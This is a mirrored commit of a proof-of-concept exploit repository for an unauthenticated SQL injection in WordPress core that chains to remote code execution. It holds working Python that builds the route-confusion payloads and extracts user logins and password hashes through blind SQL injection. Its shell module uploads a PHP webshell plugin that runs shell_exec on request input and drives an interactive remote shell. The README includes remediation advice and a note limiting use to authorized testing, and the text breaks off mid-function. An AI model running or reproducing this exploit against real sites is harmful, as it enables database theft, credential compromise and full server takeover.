mirror of
https://github.com/Icex0/wp2shell-poc
synced 2026-07-18 19:05:08 +00:00
init
This commit is contained in:
@@ -0,0 +1,7 @@
|
|||||||
|
__pycache__/
|
||||||
|
*.py[cod]
|
||||||
|
*.egg-info/
|
||||||
|
build/
|
||||||
|
dist/
|
||||||
|
.venv/
|
||||||
|
venv/
|
||||||
@@ -0,0 +1,21 @@
|
|||||||
|
MIT License
|
||||||
|
|
||||||
|
Copyright (c) 2026 wp2shell-poc contributors
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
of this software and associated documentation files (the "Software"), to deal
|
||||||
|
in the Software without restriction, including without limitation the rights
|
||||||
|
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
copies of the Software, and to permit persons to whom the Software is
|
||||||
|
furnished to do so, subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in all
|
||||||
|
copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
SOFTWARE.
|
||||||
@@ -0,0 +1,122 @@
|
|||||||
|
# wp2shell-poc
|
||||||
|
|
||||||
|
Proof-of-concept for an unauthenticated SQL injection in WordPress core that chains to remote
|
||||||
|
code execution, via REST batch route confusion (CVE-2026-63030).
|
||||||
|
|
||||||
|
The exploit needs no credentials and no configuration beyond a reachable target. It reaches the
|
||||||
|
injection through a single endpoint: `POST /wp-json/batch/v1`.
|
||||||
|
|
||||||
|
The finding itself is that unauthenticated SQL injection — `check` confirms it and `read`
|
||||||
|
demonstrates arbitrary database read. The `shell` command is optional post-exploitation
|
||||||
|
(recovered admin credentials → plugin upload → command execution), included to demonstrate full
|
||||||
|
impact; it is not the vulnerability.
|
||||||
|
|
||||||
|
## Affected versions
|
||||||
|
|
||||||
|
| Branch | Affected | Fixed in |
|
||||||
|
| ------ | ------------- | -------- |
|
||||||
|
| 6.9.x | 6.9.0 – 6.9.4 | 6.9.5 |
|
||||||
|
| 7.0.x | 7.0.0 – 7.0.1 | 7.0.2 |
|
||||||
|
|
||||||
|
Versions before 6.9.0 are not affected by this chain.
|
||||||
|
|
||||||
|
## How it works
|
||||||
|
|
||||||
|
The REST batch endpoint (`/batch/v1`) is unauthenticated and runs several sub-requests in one
|
||||||
|
call, relying on each sub-request being validated and permission-checked on its own.
|
||||||
|
|
||||||
|
`serve_batch_request_v1()` builds two parallel arrays — `$matches` (the matched handler per
|
||||||
|
sub-request) and `$validation` (the validation result per sub-request) — then indexes both by
|
||||||
|
the same offset when dispatching. A sub-request whose path fails `wp_parse_url()` is appended to
|
||||||
|
`$validation` but not to `$matches`, so the arrays fall out of step and a sub-request is
|
||||||
|
dispatched under a **different** sub-request's handler. That is the route confusion.
|
||||||
|
|
||||||
|
The PoC nests the primitive twice:
|
||||||
|
|
||||||
|
1. A `POST /wp/v2/posts` request that carries a `requests` body is dispatched under the batch
|
||||||
|
handler itself. Having been validated as a posts request, its `requests` list is never checked
|
||||||
|
against the batch schema, so its sub-requests may use `GET` — the method allow-list is
|
||||||
|
bypassed.
|
||||||
|
2. Inside that inner batch, a `GET /wp/v2/users` request carrying an `author_exclude` string
|
||||||
|
(the users schema has no such parameter, so the value passes validation untouched) is
|
||||||
|
dispatched under posts `get_items()`. There `author_exclude` maps to the `WP_Query`
|
||||||
|
`author__not_in` query var, which the vulnerable build interpolates into SQL as a string.
|
||||||
|
|
||||||
|
The result is a boolean- and time-based blind SQL injection reachable pre-authentication. With
|
||||||
|
database read access the administrator password hash can be recovered; once cracked, admin access
|
||||||
|
yields code execution through a plugin upload.
|
||||||
|
|
||||||
|
## Requirements
|
||||||
|
|
||||||
|
Python 3.8+ and the standard library. No third-party dependencies.
|
||||||
|
|
||||||
|
## Usage
|
||||||
|
|
||||||
|
Run it from the repository directory:
|
||||||
|
|
||||||
|
```
|
||||||
|
./wp2shell.py <command> <url> [options]
|
||||||
|
```
|
||||||
|
|
||||||
|
Or `pip install .` to get a `wp2shell` command on your `PATH`.
|
||||||
|
|
||||||
|
### check — confirm the vulnerability (safe)
|
||||||
|
|
||||||
|
Confirms exploitability with a differential time delay. It reads no data and changes nothing.
|
||||||
|
|
||||||
|
```
|
||||||
|
./wp2shell.py check http://target
|
||||||
|
```
|
||||||
|
|
||||||
|
### read — extract data (blind SQL injection)
|
||||||
|
|
||||||
|
```
|
||||||
|
./wp2shell.py read http://target # server fingerprint
|
||||||
|
./wp2shell.py read http://target --preset users # user logins and password hashes
|
||||||
|
./wp2shell.py read http://target --query "SELECT @@version"
|
||||||
|
```
|
||||||
|
|
||||||
|
### shell — execute a command (remote code execution)
|
||||||
|
|
||||||
|
Optional post-exploitation. Requires valid administrator credentials; the injection recovers the
|
||||||
|
password *hash*, so supply the recovered plaintext here.
|
||||||
|
|
||||||
|
```
|
||||||
|
./wp2shell.py shell http://target --user admin --password '<recovered>' --cmd id
|
||||||
|
./wp2shell.py shell http://target --user admin --password '<recovered>' -i # interactive shell
|
||||||
|
```
|
||||||
|
|
||||||
|
`shell` uploads a plugin webshell (locked behind a random path and a per-run token) and prints its
|
||||||
|
path. Remove it when finished.
|
||||||
|
|
||||||
|
## Options
|
||||||
|
|
||||||
|
| Option | Applies to | Description |
|
||||||
|
| ------------------- | ---------- | -------------------------------------------------------------------- |
|
||||||
|
| `--rest-route` | all | Use `/?rest_route=/batch/v1` (for sites without pretty permalinks). |
|
||||||
|
| `--proxy URL` | all | Route traffic through an HTTP proxy (for example, Burp). |
|
||||||
|
| `--timeout N` | all | Request timeout in seconds. |
|
||||||
|
| `--sleep N` | check | Delay used to confirm the injection. |
|
||||||
|
| `--preset` | read | `fingerprint` or `users`. |
|
||||||
|
| `--query` | read | A scalar SQL expression to read. |
|
||||||
|
| `--prefix` | read | Database table prefix (default `wp_`). |
|
||||||
|
| `--max-length N` | read | Maximum characters read per value (default 128). |
|
||||||
|
| `--user` / `--password` | shell | Admin credentials (plaintext, recovered from the hash). |
|
||||||
|
| `--cmd` | shell | Command to run (omit when using `-i`). |
|
||||||
|
| `-i` / `--interactive` | shell | Open an interactive shell after deploying. |
|
||||||
|
|
||||||
|
## Remediation
|
||||||
|
|
||||||
|
Update to WordPress 6.9.5 or 7.0.2. Until then, block both `/wp-json/batch/v1` and the
|
||||||
|
`rest_route=/batch/v1` query parameter at the edge, or require authentication for the batch
|
||||||
|
endpoint via the `rest_pre_dispatch` filter.
|
||||||
|
|
||||||
|
## Legal
|
||||||
|
|
||||||
|
For authorized security testing only. Use it exclusively against systems you own or have explicit
|
||||||
|
written permission to test. The author accepts no liability for misuse.
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- WordPress 7.0.2 release announcement — <https://wordpress.org/news/2026/07/wordpress-7-0-2-release/>
|
||||||
|
- CVE-2026-63030
|
||||||
@@ -0,0 +1,23 @@
|
|||||||
|
[build-system]
|
||||||
|
requires = ["setuptools>=61"]
|
||||||
|
build-backend = "setuptools.build_meta"
|
||||||
|
|
||||||
|
[project]
|
||||||
|
name = "wp2shell-poc"
|
||||||
|
version = "1.0.0"
|
||||||
|
description = "PoC for the WordPress REST batch route-confusion SQL injection to RCE chain (CVE-2026-63030)."
|
||||||
|
readme = "README.md"
|
||||||
|
requires-python = ">=3.8"
|
||||||
|
license = { text = "MIT" }
|
||||||
|
keywords = ["wordpress", "rest-api", "sql-injection", "rce", "security", "cve-2026-63030"]
|
||||||
|
classifiers = [
|
||||||
|
"Environment :: Console",
|
||||||
|
"Intended Audience :: Information Technology",
|
||||||
|
"Topic :: Security",
|
||||||
|
]
|
||||||
|
|
||||||
|
[project.scripts]
|
||||||
|
wp2shell = "wp2shell.cli:main"
|
||||||
|
|
||||||
|
[tool.setuptools]
|
||||||
|
packages = ["wp2shell"]
|
||||||
Executable
+9
@@ -0,0 +1,9 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""Standalone launcher — equivalent to `python3 -m wp2shell`."""
|
||||||
|
|
||||||
|
import sys
|
||||||
|
|
||||||
|
from wp2shell.cli import main
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
sys.exit(main())
|
||||||
@@ -0,0 +1,3 @@
|
|||||||
|
"""wp2shell — PoC for the WordPress REST batch route-confusion SQLi/RCE chain (CVE-2026-63030)."""
|
||||||
|
|
||||||
|
__version__ = "1.0.0"
|
||||||
@@ -0,0 +1,6 @@
|
|||||||
|
import sys
|
||||||
|
|
||||||
|
from .cli import main
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
sys.exit(main())
|
||||||
+264
@@ -0,0 +1,264 @@
|
|||||||
|
"""Command-line interface."""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import argparse
|
||||||
|
import shlex
|
||||||
|
import sys
|
||||||
|
from typing import Optional
|
||||||
|
|
||||||
|
from . import __version__
|
||||||
|
from .client import BatchClient
|
||||||
|
from .shell import AdminSession
|
||||||
|
from .sqli import BlindSQLi
|
||||||
|
|
||||||
|
try:
|
||||||
|
import readline # noqa: F401 - enables line editing/history for the interactive prompt
|
||||||
|
except ImportError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
_TTY = sys.stdout.isatty()
|
||||||
|
|
||||||
|
|
||||||
|
def _paint(code: str, text: str) -> str:
|
||||||
|
return f"\033[{code}m{text}\033[0m" if _TTY else text
|
||||||
|
|
||||||
|
|
||||||
|
def info(msg: str) -> None:
|
||||||
|
print(f"[*] {msg}")
|
||||||
|
|
||||||
|
|
||||||
|
def good(msg: str) -> None:
|
||||||
|
print(_paint("32", f"[+] {msg}"))
|
||||||
|
|
||||||
|
|
||||||
|
def bad(msg: str) -> None:
|
||||||
|
print(_paint("31", f"[-] {msg}"))
|
||||||
|
|
||||||
|
|
||||||
|
def warn(msg: str) -> None:
|
||||||
|
print(_paint("33", f"[!] {msg}"))
|
||||||
|
|
||||||
|
|
||||||
|
def _progress(text: str) -> None:
|
||||||
|
# Single updating line on a terminal; suppressed when output is piped or redirected.
|
||||||
|
if _TTY:
|
||||||
|
sys.stdout.write("\r\033[K " + text)
|
||||||
|
sys.stdout.flush()
|
||||||
|
|
||||||
|
|
||||||
|
def _clear_progress() -> None:
|
||||||
|
if _TTY:
|
||||||
|
sys.stdout.write("\r\033[K")
|
||||||
|
sys.stdout.flush()
|
||||||
|
|
||||||
|
|
||||||
|
def _client(args: argparse.Namespace) -> BatchClient:
|
||||||
|
return BatchClient(
|
||||||
|
args.url,
|
||||||
|
timeout=args.timeout,
|
||||||
|
rest_route=args.rest_route,
|
||||||
|
proxy=args.proxy,
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
# -- commands ---------------------------------------------------------------
|
||||||
|
|
||||||
|
|
||||||
|
def cmd_check(args: argparse.Namespace) -> int:
|
||||||
|
# The confirmation request sleeps for --sleep, so the timeout must exceed it.
|
||||||
|
client = BatchClient(
|
||||||
|
args.url,
|
||||||
|
timeout=max(args.timeout, args.sleep + 10),
|
||||||
|
rest_route=args.rest_route,
|
||||||
|
proxy=args.proxy,
|
||||||
|
)
|
||||||
|
probe = client.probe()
|
||||||
|
if probe.status != 207:
|
||||||
|
bad(f"Batch endpoint returned HTTP {probe.status} (not 207) — patched or REST API disabled.")
|
||||||
|
return 1
|
||||||
|
good("Batch endpoint reachable and unauthenticated (HTTP 207).")
|
||||||
|
|
||||||
|
confirmed, baseline, delayed = BlindSQLi(client, sleep=args.sleep).confirm()
|
||||||
|
if confirmed:
|
||||||
|
good(f"VULNERABLE — baseline {baseline:.2f}s, injected {delayed:.2f}s.")
|
||||||
|
return 0
|
||||||
|
bad(f"Not vulnerable — baseline {baseline:.2f}s, injected {delayed:.2f}s.")
|
||||||
|
return 2
|
||||||
|
|
||||||
|
|
||||||
|
def cmd_read(args: argparse.Namespace) -> int:
|
||||||
|
client = _client(args)
|
||||||
|
sqli = BlindSQLi(client)
|
||||||
|
|
||||||
|
if args.query:
|
||||||
|
info(f"Reading: {args.query}")
|
||||||
|
value = sqli.extract(args.query, max_length=args.max_length, on_char=_progress)
|
||||||
|
_clear_progress()
|
||||||
|
good(f"Result: {value}")
|
||||||
|
elif args.preset == "fingerprint":
|
||||||
|
for label, expr in (
|
||||||
|
("MySQL version", "SELECT @@version"),
|
||||||
|
("Database user", "SELECT CURRENT_USER()"),
|
||||||
|
("Database name", "SELECT DATABASE()"),
|
||||||
|
):
|
||||||
|
good(f"{label}: {sqli.extract(expr, max_length=args.max_length)}")
|
||||||
|
elif args.preset == "users":
|
||||||
|
table = f"{args.prefix}users"
|
||||||
|
total = sqli.integer(f"SELECT COUNT(*) FROM {table}")
|
||||||
|
info(f"{total} user(s) in {table}.")
|
||||||
|
for offset in range(total):
|
||||||
|
row = sqli.extract(
|
||||||
|
f"SELECT CONCAT_WS(0x7c, ID, user_login, user_pass) "
|
||||||
|
f"FROM {table} ORDER BY ID LIMIT {offset},1",
|
||||||
|
max_length=args.max_length,
|
||||||
|
on_char=_progress,
|
||||||
|
)
|
||||||
|
_clear_progress()
|
||||||
|
good(row)
|
||||||
|
|
||||||
|
info(f"{sqli.requests} request(s) sent.")
|
||||||
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
_CWD_MARK = "__wp2shellcwd__" # shell-metacharacter-free so it survives the remote shell
|
||||||
|
|
||||||
|
|
||||||
|
def _repl(session: AdminSession, path: str) -> None:
|
||||||
|
"""A minimal interactive prompt piping each line through the webshell.
|
||||||
|
|
||||||
|
Commands are stateless server-side, so the working directory is tracked client-side and
|
||||||
|
re-applied to each command (which makes `cd` behave as expected).
|
||||||
|
"""
|
||||||
|
pwd = session.run(path, "pwd")
|
||||||
|
if pwd is None:
|
||||||
|
bad("webshell not responding; aborting interactive mode.")
|
||||||
|
return
|
||||||
|
cwd = pwd.strip() or "/"
|
||||||
|
info("Interactive shell — type commands, 'exit' or Ctrl-D to quit.")
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
|
line = input(_paint("36", f"{cwd} $ "))
|
||||||
|
except (EOFError, KeyboardInterrupt):
|
||||||
|
print()
|
||||||
|
return
|
||||||
|
command = line.strip()
|
||||||
|
if not command:
|
||||||
|
continue
|
||||||
|
if command in ("exit", "quit"):
|
||||||
|
return
|
||||||
|
out = session.run(
|
||||||
|
path, f"cd {shlex.quote(cwd)} 2>/dev/null; {command}; printf '{_CWD_MARK}%s' \"$(pwd)\""
|
||||||
|
)
|
||||||
|
if out is None:
|
||||||
|
bad("no response from webshell")
|
||||||
|
continue
|
||||||
|
body, marker, tail = out.rpartition(_CWD_MARK)
|
||||||
|
if marker:
|
||||||
|
cwd = tail.strip() or cwd
|
||||||
|
out = body
|
||||||
|
out = out.rstrip("\n")
|
||||||
|
if out:
|
||||||
|
print(out)
|
||||||
|
|
||||||
|
|
||||||
|
def cmd_shell(args: argparse.Namespace) -> int:
|
||||||
|
if not args.cmd and not args.interactive:
|
||||||
|
bad("specify --cmd or --interactive")
|
||||||
|
return 2
|
||||||
|
|
||||||
|
warn("This uploads a plugin containing a webshell to the target.")
|
||||||
|
session = AdminSession(args.url, timeout=args.timeout, proxy=args.proxy)
|
||||||
|
|
||||||
|
info(f"Authenticating as {args.user!r}...")
|
||||||
|
if not session.login(args.user, args.password):
|
||||||
|
bad("Login failed. Supply valid admin credentials (crack the hash recovered by 'read').")
|
||||||
|
return 1
|
||||||
|
good("Authenticated.")
|
||||||
|
|
||||||
|
info("Deploying webshell plugin...")
|
||||||
|
path = session.deploy_webshell()
|
||||||
|
good(f"Webshell: {args.url.rstrip('/')}{path}")
|
||||||
|
|
||||||
|
rc = 0
|
||||||
|
if args.cmd:
|
||||||
|
output = session.run(path, args.cmd)
|
||||||
|
if output is None:
|
||||||
|
bad("No output — the upload likely failed (nonce/permissions) or the plugin is not web-served.")
|
||||||
|
rc = 1
|
||||||
|
else:
|
||||||
|
print()
|
||||||
|
print(output.rstrip("\n"))
|
||||||
|
print()
|
||||||
|
|
||||||
|
if args.interactive:
|
||||||
|
_repl(session, path)
|
||||||
|
|
||||||
|
if not args.keep:
|
||||||
|
warn(f"Remove the webshell when finished (delete {path} on the target).")
|
||||||
|
return rc
|
||||||
|
|
||||||
|
|
||||||
|
# -- parser -----------------------------------------------------------------
|
||||||
|
|
||||||
|
|
||||||
|
def _add_common(parser: argparse.ArgumentParser) -> None:
|
||||||
|
parser.add_argument("url", help="target base URL, e.g. http://target")
|
||||||
|
parser.add_argument(
|
||||||
|
"--rest-route",
|
||||||
|
action="store_true",
|
||||||
|
help="use /?rest_route=/batch/v1 instead of /wp-json/batch/v1",
|
||||||
|
)
|
||||||
|
parser.add_argument("--timeout", type=float, default=30.0, help="request timeout (default: 30)")
|
||||||
|
parser.add_argument("--proxy", help="HTTP proxy, e.g. http://127.0.0.1:8080")
|
||||||
|
|
||||||
|
|
||||||
|
def build_parser() -> argparse.ArgumentParser:
|
||||||
|
parser = argparse.ArgumentParser(
|
||||||
|
prog="wp2shell",
|
||||||
|
description="WordPress REST batch route-confusion SQLi/RCE PoC (CVE-2026-63030).",
|
||||||
|
)
|
||||||
|
parser.add_argument("--version", action="version", version=f"wp2shell {__version__}")
|
||||||
|
sub = parser.add_subparsers(dest="command", required=True)
|
||||||
|
|
||||||
|
check = sub.add_parser("check", help="safely confirm the vulnerability (non-destructive)")
|
||||||
|
_add_common(check)
|
||||||
|
check.add_argument("--sleep", type=float, default=3.0, help="confirmation delay (default: 3)")
|
||||||
|
check.set_defaults(func=cmd_check)
|
||||||
|
|
||||||
|
read = sub.add_parser("read", help="read from the database via blind SQL injection")
|
||||||
|
_add_common(read)
|
||||||
|
group = read.add_mutually_exclusive_group()
|
||||||
|
group.add_argument(
|
||||||
|
"--preset",
|
||||||
|
choices=("fingerprint", "users"),
|
||||||
|
default="fingerprint",
|
||||||
|
help="fingerprint (version/user/db) or users (logins and password hashes)",
|
||||||
|
)
|
||||||
|
group.add_argument("--query", help='scalar SQL expression to read, e.g. "SELECT @@version"')
|
||||||
|
read.add_argument("--prefix", default="wp_", help="database table prefix (default: wp_)")
|
||||||
|
read.add_argument("--max-length", type=int, default=128, help="max characters per value")
|
||||||
|
read.set_defaults(func=cmd_read)
|
||||||
|
|
||||||
|
shell = sub.add_parser("shell", help="execute a command (requires admin credentials)")
|
||||||
|
_add_common(shell)
|
||||||
|
shell.add_argument("--user", required=True, help="admin username")
|
||||||
|
shell.add_argument("--password", required=True, help="admin password (cracked from the hash)")
|
||||||
|
shell.add_argument("--cmd", help="command to run on the target (omit when using --interactive)")
|
||||||
|
shell.add_argument("-i", "--interactive", action="store_true",
|
||||||
|
help="open an interactive shell after deploying")
|
||||||
|
shell.add_argument("--keep", action="store_true", help="do not warn about removing the webshell")
|
||||||
|
shell.set_defaults(func=cmd_shell)
|
||||||
|
|
||||||
|
return parser
|
||||||
|
|
||||||
|
|
||||||
|
def main(argv: Optional[list] = None) -> int:
|
||||||
|
args = build_parser().parse_args(argv)
|
||||||
|
try:
|
||||||
|
return args.func(args)
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
return 130
|
||||||
|
except Exception as exc: # noqa: BLE001 - surface a clean message, not a traceback
|
||||||
|
bad(str(exc))
|
||||||
|
return 1
|
||||||
@@ -0,0 +1,120 @@
|
|||||||
|
"""HTTP transport and construction of the nested batch route-confusion payloads."""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import json
|
||||||
|
import time
|
||||||
|
import urllib.error
|
||||||
|
import urllib.parse
|
||||||
|
import urllib.request
|
||||||
|
from dataclasses import dataclass
|
||||||
|
from typing import Any, Optional
|
||||||
|
|
||||||
|
# A deliberately malformed path (no host, no port) for which wp_parse_url() returns false.
|
||||||
|
# The client never dials it; its only job is to seed one WP_Error into the batch's request
|
||||||
|
# list, which is what desynchronises $matches from $validation so a sub-request is dispatched
|
||||||
|
# under the following sub-request's handler. Any parse_url()-rejecting string works; "///" is
|
||||||
|
# used so it cannot be mistaken for a network target.
|
||||||
|
_DESYNC_PRIMER = {"method": "POST", "path": "///"}
|
||||||
|
|
||||||
|
|
||||||
|
class TargetError(Exception):
|
||||||
|
"""The target could not be reached (connection refused, DNS failure, timeout)."""
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass
|
||||||
|
class Response:
|
||||||
|
status: int
|
||||||
|
elapsed: float
|
||||||
|
body: str
|
||||||
|
|
||||||
|
def json(self) -> Any:
|
||||||
|
return json.loads(self.body)
|
||||||
|
|
||||||
|
|
||||||
|
class BatchClient:
|
||||||
|
"""Sends requests to a target's REST batch endpoint and builds injection payloads."""
|
||||||
|
|
||||||
|
def __init__(
|
||||||
|
self,
|
||||||
|
base_url: str,
|
||||||
|
*,
|
||||||
|
timeout: float = 30.0,
|
||||||
|
rest_route: bool = False,
|
||||||
|
proxy: Optional[str] = None,
|
||||||
|
user_agent: str = "wp2shell",
|
||||||
|
) -> None:
|
||||||
|
self.base_url = base_url.rstrip("/")
|
||||||
|
self.timeout = timeout
|
||||||
|
self.rest_route = rest_route
|
||||||
|
self.user_agent = user_agent
|
||||||
|
handlers = [urllib.request.ProxyHandler({"http": proxy, "https": proxy})] if proxy else []
|
||||||
|
self._opener = urllib.request.build_opener(*handlers)
|
||||||
|
|
||||||
|
@property
|
||||||
|
def endpoint(self) -> str:
|
||||||
|
if self.rest_route:
|
||||||
|
return f"{self.base_url}/?rest_route=/batch/v1"
|
||||||
|
return f"{self.base_url}/wp-json/batch/v1"
|
||||||
|
|
||||||
|
def post(self, payload: dict) -> Response:
|
||||||
|
request = urllib.request.Request(
|
||||||
|
self.endpoint,
|
||||||
|
data=json.dumps(payload).encode(),
|
||||||
|
method="POST",
|
||||||
|
headers={"Content-Type": "application/json", "User-Agent": self.user_agent},
|
||||||
|
)
|
||||||
|
start = time.monotonic()
|
||||||
|
try:
|
||||||
|
resp = self._opener.open(request, timeout=self.timeout)
|
||||||
|
status, body = resp.status, resp.read().decode("utf-8", "replace")
|
||||||
|
except urllib.error.HTTPError as exc:
|
||||||
|
status, body = exc.code, exc.read().decode("utf-8", "replace")
|
||||||
|
except OSError as exc: # URLError, connection refused, timeout, DNS failure
|
||||||
|
reason = getattr(exc, "reason", exc)
|
||||||
|
raise TargetError(f"cannot reach {self.endpoint}: {reason}") from None
|
||||||
|
return Response(status, time.monotonic() - start, body)
|
||||||
|
|
||||||
|
def probe(self) -> Response:
|
||||||
|
"""A benign empty batch, used to test whether the endpoint is reachable and open."""
|
||||||
|
return self.post({"requests": []})
|
||||||
|
|
||||||
|
def inject(self, author_not_in: str) -> Response:
|
||||||
|
"""Send a payload placing `author_not_in` into the WP_Query author__not_in clause."""
|
||||||
|
return self.post(self._payload(author_not_in))
|
||||||
|
|
||||||
|
def rows(self, response: Response) -> Optional[list]:
|
||||||
|
"""Return the inner get_items() result rows from a nested batch response, else None."""
|
||||||
|
try:
|
||||||
|
inner = response.json()["responses"][1]["body"]
|
||||||
|
result = inner["responses"][1]["body"]
|
||||||
|
except (KeyError, IndexError, TypeError, ValueError):
|
||||||
|
return None
|
||||||
|
return result if isinstance(result, list) else None
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _payload(author_not_in: str) -> dict:
|
||||||
|
# Inner batch: a users request (whose collection schema has no `author_exclude`, so the
|
||||||
|
# value passes validation unchanged as a raw string) is desynced onto posts get_items(),
|
||||||
|
# which maps author_exclude -> WP_Query author__not_in.
|
||||||
|
inner = {
|
||||||
|
"requests": [
|
||||||
|
_DESYNC_PRIMER,
|
||||||
|
{
|
||||||
|
"method": "GET",
|
||||||
|
"path": "/wp/v2/users?author_exclude="
|
||||||
|
+ urllib.parse.quote(author_not_in, safe=""),
|
||||||
|
},
|
||||||
|
{"method": "GET", "path": "/wp/v2/posts"},
|
||||||
|
]
|
||||||
|
}
|
||||||
|
# Outer batch: a posts request carrying the inner batch as its body is desynced onto the
|
||||||
|
# batch handler itself. Validated as a posts request, its `requests` list is never checked
|
||||||
|
# against the batch schema, so the inner sub-requests are free to use GET.
|
||||||
|
return {
|
||||||
|
"requests": [
|
||||||
|
_DESYNC_PRIMER,
|
||||||
|
{"method": "POST", "path": "/wp/v2/posts", "body": inner},
|
||||||
|
{"method": "POST", "path": "/batch/v1", "body": {"requests": []}},
|
||||||
|
]
|
||||||
|
}
|
||||||
@@ -0,0 +1,133 @@
|
|||||||
|
"""Post-authentication code execution: deploy a plugin webshell and run commands.
|
||||||
|
|
||||||
|
Remote code execution requires valid administrator credentials. The SQL injection recovers the
|
||||||
|
administrator password *hash*; the corresponding plaintext (recovered offline) is supplied here.
|
||||||
|
"""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import http.cookiejar
|
||||||
|
import io
|
||||||
|
import re
|
||||||
|
import secrets
|
||||||
|
import urllib.parse
|
||||||
|
import urllib.request
|
||||||
|
import uuid
|
||||||
|
import zipfile
|
||||||
|
from typing import Dict, Optional, Tuple
|
||||||
|
|
||||||
|
_MARKER = "WP2SHELL"
|
||||||
|
|
||||||
|
|
||||||
|
class AdminSession:
|
||||||
|
"""An authenticated admin session that can deploy a webshell and execute OS commands."""
|
||||||
|
|
||||||
|
def __init__(
|
||||||
|
self,
|
||||||
|
base_url: str,
|
||||||
|
*,
|
||||||
|
timeout: float = 20.0,
|
||||||
|
proxy: Optional[str] = None,
|
||||||
|
user_agent: str = "wp2shell",
|
||||||
|
) -> None:
|
||||||
|
self.base_url = base_url.rstrip("/")
|
||||||
|
self.timeout = timeout
|
||||||
|
# Randomised path + token so the dropped webshell is not a predictable, world-usable RCE.
|
||||||
|
self._slug = "wp2shell_" + secrets.token_hex(4)
|
||||||
|
self._token = secrets.token_hex(16)
|
||||||
|
self._jar = http.cookiejar.CookieJar()
|
||||||
|
handlers = [urllib.request.HTTPCookieProcessor(self._jar)]
|
||||||
|
if proxy:
|
||||||
|
handlers.append(urllib.request.ProxyHandler({"http": proxy, "https": proxy}))
|
||||||
|
self._opener = urllib.request.build_opener(*handlers)
|
||||||
|
self._opener.addheaders = [("User-Agent", user_agent)]
|
||||||
|
|
||||||
|
def login(self, username: str, password: str) -> bool:
|
||||||
|
self._get("/wp-login.php") # establish the test cookie
|
||||||
|
self._post(
|
||||||
|
"/wp-login.php",
|
||||||
|
{
|
||||||
|
"log": username,
|
||||||
|
"pwd": password,
|
||||||
|
"wp-submit": "Log In",
|
||||||
|
"redirect_to": f"{self.base_url}/wp-admin/",
|
||||||
|
"testcookie": "1",
|
||||||
|
},
|
||||||
|
)
|
||||||
|
return any(c.name.startswith("wordpress_logged_in") for c in self._jar)
|
||||||
|
|
||||||
|
def deploy_webshell(self) -> str:
|
||||||
|
"""Upload the webshell plugin and return its web-reachable path."""
|
||||||
|
page = self._get("/wp-admin/plugin-install.php?tab=upload")
|
||||||
|
nonce = self._nonce(page)
|
||||||
|
if not nonce:
|
||||||
|
raise RuntimeError("plugin-upload nonce not found (are the credentials valid?)")
|
||||||
|
body, content_type = self._multipart(
|
||||||
|
{
|
||||||
|
"_wpnonce": nonce,
|
||||||
|
"_wp_http_referer": "/wp-admin/plugin-install.php?tab=upload",
|
||||||
|
"install-plugin-submit": "Install Now",
|
||||||
|
},
|
||||||
|
{"pluginzip": (f"{self._slug}.zip", self._plugin_zip())},
|
||||||
|
)
|
||||||
|
self._post("/wp-admin/update.php?action=upload-plugin", body, {"Content-Type": content_type})
|
||||||
|
return f"/wp-content/plugins/{self._slug}/{self._slug}.php"
|
||||||
|
|
||||||
|
def run(self, shell_path: str, command: str) -> Optional[str]:
|
||||||
|
query = urllib.parse.urlencode({"t": self._token, "c": command})
|
||||||
|
output = self._get(f"{shell_path}?{query}")
|
||||||
|
match = re.search(rf"{_MARKER}::(.*?)::END", output, re.S)
|
||||||
|
return match.group(1) if match else None
|
||||||
|
|
||||||
|
# -- helpers ------------------------------------------------------------
|
||||||
|
|
||||||
|
def _get(self, path: str) -> str:
|
||||||
|
return self._opener.open(self.base_url + path, timeout=self.timeout).read().decode(
|
||||||
|
"utf-8", "replace"
|
||||||
|
)
|
||||||
|
|
||||||
|
def _post(self, path: str, data, headers: Optional[dict] = None) -> str:
|
||||||
|
if isinstance(data, dict):
|
||||||
|
data = urllib.parse.urlencode(data).encode()
|
||||||
|
request = urllib.request.Request(self.base_url + path, data=data, headers=headers or {})
|
||||||
|
return self._opener.open(request, timeout=self.timeout).read().decode("utf-8", "replace")
|
||||||
|
|
||||||
|
def _plugin_zip(self) -> bytes:
|
||||||
|
# The webshell only runs when the request carries the per-session token.
|
||||||
|
php = (
|
||||||
|
"<?php\n"
|
||||||
|
"/*\nPlugin Name: wp2shell\nDescription: PoC webshell. Delete after testing.\n*/\n"
|
||||||
|
f"if (hash_equals('{self._token}', (string) ($_GET['t'] ?? '')) && isset($_GET['c'])) {{\n"
|
||||||
|
f" echo '{_MARKER}::' . shell_exec((string) $_GET['c']) . '::END';\n"
|
||||||
|
"}\n"
|
||||||
|
)
|
||||||
|
buffer = io.BytesIO()
|
||||||
|
